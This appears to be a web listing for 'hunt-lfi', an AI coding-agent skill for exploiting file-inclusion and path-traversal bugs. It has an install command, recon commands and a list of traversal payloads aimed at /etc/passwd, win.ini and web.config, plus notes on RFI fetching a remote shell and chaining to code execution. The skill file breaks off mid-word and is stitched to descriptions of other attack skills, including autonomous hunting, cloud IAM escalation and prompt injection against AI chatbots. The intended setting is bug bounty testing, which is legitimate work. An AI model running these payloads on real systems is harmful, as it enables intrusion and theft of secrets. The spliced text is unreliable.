hunt-lfi
**hunt-lfi** is a Claude Code skill for discovering and exploiting Local File Inclusion (LFI), Remote File Inclusion (RFI), and path-traversal vulnerabilities. It covers PHP filter-chain RCE, log poisoning, protocol wrappers (php://, data://, zip://, phar://), and blind LFI confirmation techniques with emphasis on distinguishing genuine file reads from false positives. Use this when testing web applications for file-include and directory-traversal bugs.
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter /tmp/hunt-lfi && cp -r /tmp/hunt-lfi/skills/hunt-lfi ~/.claude/skills/hunt-lfiSKILL.md
# HUNT-LFI — Local / Remote File Inclusion & Path Traversal
## Crown Jewel Targets
LFI that reaches code execution is Critical. Pure file-read is High when it exposes secrets (`.env`, `wp-config.php`, private keys, cloud creds), Medium when it only reads non-sensitive files.
**Highest-value chains (in rough order of reliability in 2026):**
- **PHP filter-chain → RCE** — the modern default. A bare `php://filter` *file-read* primitive is upgraded to RCE with **no upload endpoint and no writable file** by chaining `iconv` conversions to forge an arbitrary PHP payload in-memory (Synacktiv, 2022). See the dedicated section below. This is the single most impactful thing to try and the most-missed.
- **Log poisoning → RCE** — inject PHP into an Apache/Nginx log (User-Agent / URL path), then include the log. Increasingly blocked by `open_basedir` and unreadable log perms, so verify the log is *readable* first.
- **PHP wrappers → source disclosure** — `php://filter/convert.base64-encode/resource=index.php` leaks source; read source to find more LFI sinks, secrets, and the include base path.
- **RFI → RCE** — when `allow_url_include=On`, `?file=http://OOB/shell.txt` pulls and executes remote code. Rare on modern configs but trivially Critical when present.
- **phar:// deserialization** — a crafted PHAR + any unserialize-on-metadata sink → object-injection RCE.
- **zip:// / data:// chains** and **session/upload poisoning** when filters block wrappers.
---
## OOB / Blind-LFI Confirmation Gate (Read First)
LFI is frequently **blind**: the included content is parsed/executed but never reflected, or the page swallows the file into a template you can't see. Do **not** claim LFI from indirect signals alone.
### What is NOT confirmation
- A different status code or error string for `../../etc/passwd` vs a normal value. The app may be string-matching `../` and returning a canned 403/500 without ever touching the filesystem.
- Your input **echoed back** inside an error message (e.g. `failed to open '/var/www/../../etc/passwd'`). That is the path *formatter*, not proof the file was read. A genuine read shows file **contents**, not your path.
- A page that "looks different." Reflected-input or WAF block pages produce diffs unrelated to a real read.
### What IS confirmation
- **Direct read:** actual file *contents* appear (real `root:x:0:0:` line, real PHP source after base64-decoding the filter output).
- **Blind read via OOB exfil:** use a php://filter or XXE-style chain whose payload performs a DNS/HTTP callback to your **Burp Collaborator** subdomain, or use an `expect://` / wrapper that triggers an outbound request. A unique-per-sink Collaborator hit (DNS + HTTP, with the server's source IP) proves the include ran.
- **Blind read via differential/timing:** include a file you *know* exists and is large (`/etc/passwd`) vs one that does not (`/etc/passwd_nope_<rand>`). Stable, repeatable response-length or latency delta = real filesystem access. Confirm with a third known-good path to rule out coincidence.
### Default workflow
1. Pick a **unique marker** target: prefer a file whose content you can fingerprint exactly (`/etc/passwd` → grep `^root:`). For blind, use a php://filter base64 read and decode — partial/truncated base64 still decodes to recognizable source.
2. Generate a sub-tagged Collaborator payload per sink (`lfi-page.<collab>`, `lfi-tpl.<collab>`) so callbacks identify which parameter fired.
3. Send, wait 30–120s, poll OOB.
4. Claim LFI **only** after a content match, a Collaborator callback, or a stable triple-confirmed timing/length delta. Echoed paths and lone status-code changes are retracted.
---
## Attack Surface Signals
### URL / Body Parameters
```
?page= ?file= ?path= ?template= ?view= ?lang= ?module=
?include= ?doc= ?load= ?read= ?content= ?theme= ?layout=
?component= ?download= ?img= ?pdf= ?report= ?style= ?dir=
JSON bodies: {"filename":...} {"template":...} {"path":...}
```
### Technology Stack Signals
| Signal | Vector |
|--------|--------|
| PHP (`X-Powered-By`, `.php`, PHPSESSID) | php:// filter-chain RCE, phar://, zip://, data:// |
| Apache/Nginx logs readable | Log poisoning → RCE (verify readability first) |
| Apache 2.4.49 / 2.4.50 (`Server:` banner) | CVE-2021-41773 / CVE-2021-42013 traversal → RCE |
| PHP-CGI on Windows (XAMPP, `php-cgi.exe`) | CVE-2024-4577 arg-injection → RCE |
| Java servlet (`/WEB-INF/`) | `WEB-INF/web.xml`, `classes/`, `application.properties` |
| Python Flask/Django | `/proc/self/environ`, `settings.py`, `SECRET_KEY` |
| Node.js file-serve / `res.sendFile`, `express.static` | path-traversal read, `require()` traversal |
| Windows IIS / .NET | `..\..\web.config`, `C:\Windows\win.ini`, machineKey |
---
## Step-by-Step Methodology
### Phase 1 — Identify Candidates
```bash
cat recon/$TARGET/urls.txt | gf lfi > recon/$TARGET/lfi-candidates.txt
grep -E "(\?|&)(page|file|path|template|view|lang|module|include|doc|load|read|content|download|img|pdf|report|dir)=" \
recon/$TARGET/urls.txt
ffuf -u "https://$TARGET/FUZZ" -w ~/wordlists/lfi-paths.txt -mc 200,301,302
```
### Phase 2 — Path Traversal (read)
```bash
?file=../../../etc/passwd
?file=....//....//....//etc/passwd # ../ stripping once → ....// survives
?file=..%2f..%2f..%2fetc%2fpasswd # single URL-encode
?file=..%252f..%252f..%252fetc%252fpasswd # double encode (decoded twice server-side)
?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd # encode dots too
?file=/etc/passwd%00.png # null byte — PHP < 5.3.4 only
?file=....\/....\/etc\/passwd # mixed slash
# Prefix-forced base (app prepends /var/www/): pad with extra ../, or absolute path if no prefix
# UTF-8 overlong: %c0%ae%c0%ae%2f (legacy servers)
```
```bash
# Windows
?file=..\..\..\windows\win.ini
?file=..%5c..%5c..%5cwindows%5cwin.ini
?file=C:\inetpub\wwwroot\web.config
```
### Phase 3 — PHP Wrappers (source disclosure)
```bash
?file=php://filter/conveEnd-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope.
Run autonomous hunt loop on a target — scope check → recon → rank surface → hunt → validate → report with configurable checkpoints. Usage: /autopilot target.com [--paranoid|--normal|--yolo]
Local-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox, ghauri); for pure orchestration/routing use the bug-bounty skill. Workflow it covers — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use when you need the local install path of a tool / wordlist / clone for a hunt, or as the full-workflow variant when operating from this local toolkit; for general routing use the bug-bounty skill. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Use at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection, What-If experiments). Routes to all other skills based on current hunting phase. Also use when asking "what should I do next" or "where am I in the process.
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Bugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side hygiene (Bugcrowdninja email alias, account state restoration, friendly-tester posture). Use when filing a Bugcrowd submission, when VRT default seems wrong, when triager closes as OOS or downgrades severity, when chaining linked submissions, or when scope distinguishes production from QA. Pairs with report-writing and triage-validation.
Build an exploit chain — given bug A, finds B and C to combine for higher severity and payout. Knows common chain patterns: IDOR→ATO, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth. Usage: /chain
Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.